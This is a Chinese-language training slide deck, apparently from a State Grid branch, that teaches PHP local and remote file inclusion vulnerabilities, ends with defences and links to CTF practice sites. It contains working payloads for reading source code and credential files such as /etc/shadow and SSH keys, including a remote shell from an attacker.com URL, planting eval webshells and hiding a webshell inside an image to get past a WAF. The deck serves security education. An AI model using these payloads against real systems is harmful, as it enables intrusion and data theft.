国家电网公司
STATE GRID
CORPORATION OF CHINA

Web常见漏洞-文件包含篇

国网漳州供电公司　张坤三

目录
CONTENTS

国家电网公司
STATE GRID
CORPORATION OF CHINA

01 文件包含漏洞简介及产生原因

什么是文件包含漏洞

严格来说，文件包含漏洞是“代码注入”的一种，其原理就是注入一段用户能控制的脚本或代码，并让服务端执行。“代码注入”的典型代表就是文件包含，文件包含漏洞可能出现在JSP、PHP、ASP等语言中，原理都是一样的，本次课程只介绍PHP文件包含漏洞。

PHP是世界上最美的语言！（why）

文件包含漏洞在PHP Web Application中居多，而在JSP、ASP、ASP.NET程序中却非常少，甚至没有包含漏洞的存在。

什么是文件包含漏洞

简单的来说，就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它，漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI（本地文件包含漏洞）两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件，如果不是我们有可能包含本地的文件。

文件包含漏洞的产生原因

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。

合理的校验？是否似曾相识

国家电网公司
STATE GRID
CORPORATION OF CHINA

02 PHP文件包含漏洞分类

PHP文件包含漏洞分类

主要分为两类：

```
1、本地文件包含LFI
2、远程文件包含RFI（需要php.ini中allow_url_include=on）
```

PHP中四个包含文件的函数：

include(),include_once(),require()和require_once()

当使用前4个函数包含一个新的文件时，只要文件内容符合PHP语法规范，那么任何扩展名都可以被PHP解析。
包含非PHP语法规范源文件时，将会暴露其源代码。

它们的区别在于：

```
include(),include\_once()在包含文件时，即使遇到错误，下面的代码依然会继续执行；
而require()和require_once()则会报错，直接退出程序。
```

本地文件包含

一定要会看基本的PHP代码，有谁能解释下吗？

测试代码demo1.php：

```
<?php
echo "Hello,this is file_include test!";
//初始化
define("ROOT",dirname(_File_).'/');
//加载模块
$page = $_GET['page'];
echo ROOT.$page.'.php';
include(ROOT.$page.'.php')
?>
```

在同目录下创建info.php:

```
<?php phpinfo();?>
```

本地文件包含（续）

请求url http://ip/main.php?page=info

远程文件包含

基于HTTP协议的测试代码：

```php
<?php
include($_GET['url']);
?>
```

远程文件包含还有一种利用PHP输入输出流的利用方式，可以直接执行POST代码，只要执行POST请求demo2.php?url=php://input,POST的内容为<?php phpinfo();?>,即可打印出phpinfo信息。

国家电网公司
STATE GRID
CORPORATION OF CHINA

03 文件包含漏洞利用技巧

PHP包含读文件

为什么要以base64编码格式输出？

远程文件包含漏洞之所以能够执行命令，就是因为攻击者可以自定义被包含的文件内容。因此，本地文件包含漏洞要想执行命令，也需要找一个攻击者能够控制内容的本地文件。

php://filter/read=convert.base64-encode/resource=login.php

构造这样的payload将可以读取login.php源代码，并以base64格式输出。

PHP包含写文件

包含data://或php://input等伪协议。这需要目标服务器支持，同时要求allow_url_fopen为设置为ON。

```
http://ip_address/?page=php://input
并且POST数据为<?php system('net user');?>
```

这个之前介绍过，大家还记得吗？

包含日志文件

当某个PHP文件存在文件包含漏洞，却无法上传文件时，这就意味着有包含漏洞却不能拿来利用，这时就可以利用apache日志文件来入侵。

Apache服务器运行后会生成两个日志文件，access.log（访问日志）和error.log(错误日志)，apache会记录下我们的操作，并写入到访问日志access.log之中。

http://ip_address/?page=../../../../Apache-20/logs/access.log

我们不知道上层目录有多少层怎么办？

截断包含

只适合于magic_quotes_gpc=off的时候。

http://ip_address/?page=1.jpg%00

```php
<?php
if (empty($_GET["file"])){
    echo('../flag.php');
    return;
}
else{
    $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
    include $filename;
}
?>
```

index.php?file=../../flag.php%00

%00 会被解析为0x00，所以导致截断的发生
我们通过截断成功的绕过了后缀限制

PHP内置协议

```
file:///var/www/html  访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress>   访问FTP(s) URLs
data://  数据流
http:// – 访问 HTTP(s) URLs
ftp:// – 访问 FTP(s) URLs
php:// – 访问各个输入/输出流
zlib:// – 压缩流
data:// – Data (RFC 2397)
glob:// – 查找匹配的文件路径模式
phar:// – PHP Archive
ssh2:// – Secure Shell 2
rar:// – RAR
ogg:// – Audio streams
expect:// – 处理交互式的流
```

包含Session文件

这部分需要攻击者能够控制部分Session文件的内容，
PHP默认生成的Session文件一般存放在/tmp目录下。

这个一般用的比较少，前提
条件是服务器为linux系统。
那么为什么要获取session呢？

包含Session文件

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
（session文件一般在/tmp目录下，格式为sess_[your phpsessid value]，有时候也有可能在/var/lib/php5之类的，在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值，也许你能够获得一个shell）

包含其他文件文件

需要root权限

?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
（linux中这两个文件储存着所有文件的路径）
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz

国家电网公司
STATE GRID
CORPORATION OF CHINA

04 文件包含漏洞能干什么

文件包含漏洞能干什么

1.读取敏感文件
http://www.xxser.com/index.php?page=/etc/passwd

2.远程包含Shell
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
http://www.example.com/index.php?page=http://www.attacker.com/echo.txt

文件包含漏洞能干什么（续）

3.本地包含配合文件上传
图片代码如下：<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
http://www.example.com/index.php?page=./uploadfile/xxx.jpg

4.写入PHP文件

在allow_url_include为On时，构造URL：

http://www.example.com/index.php?page=php://input，并且提交数据为：

<?php system('net user');?>

会得到net user命令的结果。

文件包含漏洞能干什么（续）

5.绕过WAF防火墙
图片木马一般不会被web杀毒软件查出来。

一句话木马：ma.php

<?php @eval($_POST['cmd']);?>

一张正常的图片：hello.jpg

DOS命令，写入"copy hello.jpg/b+ma.php hello1.jpg"

文件包含漏洞如何防御

1.严格判断包含的参数是否外部可控，因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制；

2.路径限制：限制被包含的文件只能在某一文件夹内，一定要禁止目录跳转字符，如：“../”；

3.包含文件验证：验证被包含的文件是否是白名单中的一员；

4.尽量不要使用动态包含，可以在需要包含的页面固定写好，如：include("head.php");。

练习

http://4.chinalover.sinaapp.com/web7/index.php

http://web.jarvisoj.com:32785

http://c94b1d9e4fd649c69eb90a036a7318f1758760f500724e3b.changame.ichunqiu.com/

国家电网公司
STATE GRID
CORPORATION OF CHINA

24小时供电服务热线
95598

感谢您的聆听指正

THANK YOU FOR YOUR WATCHING